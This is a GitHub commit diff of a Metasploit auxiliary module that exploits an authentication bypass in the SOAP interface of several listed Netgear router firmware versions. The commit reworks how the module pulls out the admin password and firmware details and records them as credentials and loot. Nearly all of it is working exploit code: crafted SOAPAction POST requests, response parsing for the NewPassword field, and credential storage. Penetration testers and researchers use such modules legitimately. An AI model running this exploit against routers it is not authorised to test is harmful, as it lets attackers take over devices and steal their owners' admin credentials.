Skip to content

Commit 0a4554a

Browse files
author
m-1-k-3
committed
reporting included, extract device details
1 parent ce697ee commit 0a4554a

File tree

1 file changed

+72
-26
lines changed

1 file changed

+72
-26
lines changed

modules/auxiliary/admin/http/netgear_soap_password_extractor.rb

Lines changed: 72 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -17,19 +17,21 @@ def initialize
1717
This module exploits an authentication bypass vulnerability in different
1818
Netgear devices. With this vulnerability you are able to extract the password
1919
for the remote management. The following devices are reported as vulnerable:
20-
NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88
21-
NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas)
22-
NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz)
23-
NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michal Bartoszkiewicz)
24-
NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner)
25-
NetGear R6300v2 - V1.0.3.8 (Tested by Robert Mueller)
26-
NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller)
27-
NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor)
28-
NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree)
20+
NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88,
21+
NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas),
22+
NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz),
23+
NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michal Bartoszkiewicz),
24+
NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner),
25+
NetGear R6300v2 - V1.0.3.8 (Tested by Robert Mueller),
26+
NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller),
27+
NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor),
28+
NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree),
2929
NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton)
30+
This module was tested on a Netgear WNDR3700v4 - V1.0.1.42
3031
},
3132
'References' =>
3233
[
34+
[ 'BID', '72640' ],
3335
[ 'URL', 'https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR' ]
3436
],
3537
'Author' =>
@@ -42,11 +44,20 @@ def initialize
4244
end
4345

4446
def run
45-
print_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
47+
print_status("#{peer} - Trying to access the configuration of the device")
4648

49+
# extract device details
50+
soapaction = "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo"
51+
print_status("Extract Firmware version.")
52+
extract_data(soapaction)
53+
54+
# extract credentials
4755
soapaction = "urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo"
56+
print_status("Extract credentials.")
57+
extract_data(soapaction)
58+
end
4859

49-
print_status("Sending exploit to victim.")
60+
def extract_data(soapaction)
5061
begin
5162
res = send_request_cgi({
5263
'method' => 'POST',
@@ -56,41 +67,76 @@ def run
5667
},
5768
'data' => "=",
5869
})
70+
#puts res
5971

6072
return if res.nil?
73+
# unknown if other devices have other Server headers
6174
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/)
6275
return if (res.code == 404)
6376

64-
6577
if res.body =~ /<NewPassword>(.*)<\/NewPassword>/
6678
print_good("#{peer} - credentials successfully extracted")
6779

68-
#store all details as loot -> there is some usefull stuff in the response
69-
loot = store_loot("netgear_soap_accoutn.config","text/plain",rhost, res.body)
70-
print_good("#{peer} - Account details downloaded to: #{loot}")
71-
7280
res.body.each_line do |line|
7381
if line =~ /<NewPassword>(.*)<\/NewPassword>/
7482
pass = $1
7583
vprint_good("user: admin")
7684
vprint_good("pass: #{pass}")
7785

78-
report_auth_info(
79-
:host => rhost,
80-
:port => rport,
81-
:sname => 'http',
82-
:user => 'admin',
83-
:pass => pass,
84-
:active => true
85-
)
86+
service_data = {
87+
address: rhost,
88+
port: rport,
89+
service_name: 'http',
90+
protocol: 'tcp',
91+
workspace_id: myworkspace_id
92+
}
93+
94+
credential_data = {
95+
module_fullname: self.fullname,
96+
origin_type: :service,
97+
private_data: pass,
98+
private_type: :password,
99+
username: 'admin'
100+
}
101+
102+
credential_data.merge!(service_data)
103+
104+
credential_core = create_credential(credential_data)
105+
106+
login_data = {
107+
core: credential_core,
108+
last_attempted_at: DateTime.now,
109+
status: Metasploit::Model::Login::Status::SUCCESSFUL
110+
}
111+
login_data.merge!(service_data)
112+
113+
create_credential_login(login_data)
114+
86115
end
87116
end
117+
118+
#store all details as loot
119+
loot = store_loot("netgear_soap_account.config","text/plain",rhost, res.body)
120+
print_good("#{peer} - Account details downloaded to: #{loot}")
121+
end
122+
123+
if res.body =~ /<ModelName>(.*)<\/ModelName>/
124+
modelname = $1
125+
vprint_good("Modelname: #{modelname}")
126+
end
127+
128+
if res.body =~ /<Firmwareversion>(.*)<\/Firmwareversion>/
129+
firmwareversion = $1
130+
vprint_good("Firmwareversion: #{firmwareversion}")
131+
132+
#store all details as loot
133+
loot = store_loot("netgear_soap_device.config","text/plain",rhost, res.body)
134+
print_good("#{peer} - Device details downloaded to: #{loot}")
88135
end
136+
89137
rescue ::Rex::ConnectionError
90138
vprint_error("#{peer} - Failed to connect to the web server")
91139
return
92140
end
93-
94-
95141
end
96142
end

0 commit comments

Comments
 (0)